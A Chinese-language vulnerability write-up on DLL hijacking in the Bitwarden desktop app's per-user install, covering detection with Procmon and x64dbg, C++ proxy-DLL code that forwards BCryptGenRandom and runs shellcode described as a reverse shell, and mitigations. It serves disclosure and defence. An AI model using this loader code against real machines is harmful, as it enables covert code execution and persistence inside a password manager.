Bitwarden 是一款优秀的密码管理器,提供了基于 Electron 框架构建的桌面应用程序。尽管其内存提取主密码的漏洞已修复,但其单用户安装方式仍可能存在一种经典的 Windows 安全问题——DLL劫持。本文将深入分析该漏洞的原理、检测方法与防御思路。
安装类型与漏洞前提
Bitwarden 桌面端提供了两种安装方式:系统级安装和单用户安装。本文的漏洞场景基于单用户安装(这也是截至 2023.7.1 版本的默认选项),该方式无需管理员权限。

当应用程序安装到系统目录(如 Program Files)时,默认的权限设置会阻止非特权用户写入,从而难以植入恶意 DLL。而单用户安装将应用置于用户可写的目录(如 AppData),这为DLL劫持创造了条件。
什么是 DLL 劫持?
DLL劫持是一种利用 Windows DLL 搜索顺序来劫持进程执行流程的技术。攻击者通过替换合法DLL或在应用程序搜索路径中放置一个恶意的同名DLL来实现。当应用程序运行时,便会加载恶意DLL执行攻击者代码。这项技术历史悠久,常被用于权限维持和恶意软件投放,是网络安全领域一个经典的攻击向量。
Windows DLL 搜索顺序
Windows 应用程序在运行时,会按以下顺序搜索需要加载的 DLL 文件:
- 应用程序加载所在的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
- 当前工作目录
- 系统 PATH 环境变量中的目录
- 用户 PATH 环境变量中的目录
如果应用程序尝试加载一个不存在的DLL,且搜索路径中存在用户可写的目录,则该应用就可能存在DLL劫持漏洞。
漏洞检测:使用 Procmon 进行动态分析
使用 Sysinternals 套件中的 Procmon 工具,可以轻松识别存在漏洞的进程。具体步骤如下:
- 运行 Procmon,创建筛选器:
Process Name 包含 Bitwarden.exe。
- 添加筛选器:
Result 为 NAME NOT FOUND。
- 添加筛选器:
Path 以 .dll 结尾。
- 启动 Bitwarden 应用,观察 Procmon 日志。

分析发现,Bitwarden.exe 进程启动时会尝试从用户目录加载 bcrypt.dll,但该文件不存在:
C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar.unpacked\node_modules\@bitwarden\desktop-native\bcrypt.dll
值得注意的是,另一款基于 Electron 的密码管理器 1Password 也存在同样问题,其默认的单用户安装路径如下:
C:\Users\Tester\AppData\Local\1Password\app\8\bcrypt.dll
动态二进制分析:定位函数调用
为了制作一个功能正常的恶意DLL,需要先了解原始 bcrypt.dll 被调用了哪些函数。使用调试器 x64dbg 进行分析:
- 启动 Bitwarden 并附加到
Bitwarden.exe 进程。
- 让程序运行至出现登录界面,然后暂停。
- 检查符号表,发现
bcrypt.dll 已被一个名为 desktop_native.win32-x64-msvc.node 的 Node.js 原生模块加载。
- 查看该模块的导入表,发现其导入了
BCryptGenRandom() 函数。


为验证劫持可行性,可将任意一个系统DLL(如来自 System32)复制到上述漏洞路径并重命名为 bcrypt.dll。启动 Bitwarden 后,应用行为异常,这证实了执行流可以被我们放置的DLL影响。

制作恶意 DLL:函数转发与载荷执行
基础版本:消息框提示
为了让应用程序在加载恶意DLL后仍能正常调用原始功能,需要使用 函数转发。以下是一个基础的 C++ 示例,它转发 BCryptGenRandom 函数,并在DLL被加载时弹出一个消息框。
#include "pch.h"
// 转发函数,指向系统目录下的原始bcrypt.dll
#pragma comment(linker, "/export:BCryptGenRandom=C:\\windows\\system32\\bcrypt.BCryptGenRandom,@30")
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, "Hi from @nazmarkuta", "Window Title", 0);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
高级版本:执行 Shellcode
更实际的攻击载荷是在后台创建一个线程来执行 Shellcode(例如由 msfvenom 生成的反向 shell)。以下代码演示了此过程:
#include "pch.h"
#include <windows.h>
#pragma comment(linker, "/export:BCryptGenRandom=C:\\windows\\system32\\bcrypt.BCryptGenRandom,@30")
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
unsigned char shellcode[] =
"\x9b\x9f\x92\x9b\x9f\xfc\x99\x99\x9b\x92\x93\x91\x9e\x99"
"..."
"\xec\xe4\x4b\x69\x13\x5a\xa8\xe3\x0e\x29\x19\x42\x9a\xd9"
"\xec\xd6\xb2\xe9";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
HANDLE threadHandle;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
CloseHandle(threadHandle);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将编译好的恶意 bcrypt.dll 放入漏洞路径,启动 Bitwarden。使用 Process Hacker 等工具查看,可以在 Bitwarden.exe 进程内发现一个新的线程正在执行我们的 Shellcode。


防御与缓解措施
- 安全安装:优先选择系统级安装,并确保安装目录(如
Program Files)的权限正确,阻止非特权用户写入。
- 应用加固:对于 Electron 等框架开发的应用,开发者应使用
SetDefaultDllDirectories API 并指定 LOAD_LIBRARY_SEARCH_SYSTEM32 标志,将DLL搜索范围锁定在系统目录。
- 更新机制:注意,Bitwarden Desktop 的自动更新会替换整个应用目录,从而移除恶意DLL。攻击者可能会尝试禁用更新功能以维持持久化。
- 终端防护:部署具备行为检测能力的终端安全产品,监控异常进程的DLL加载行为。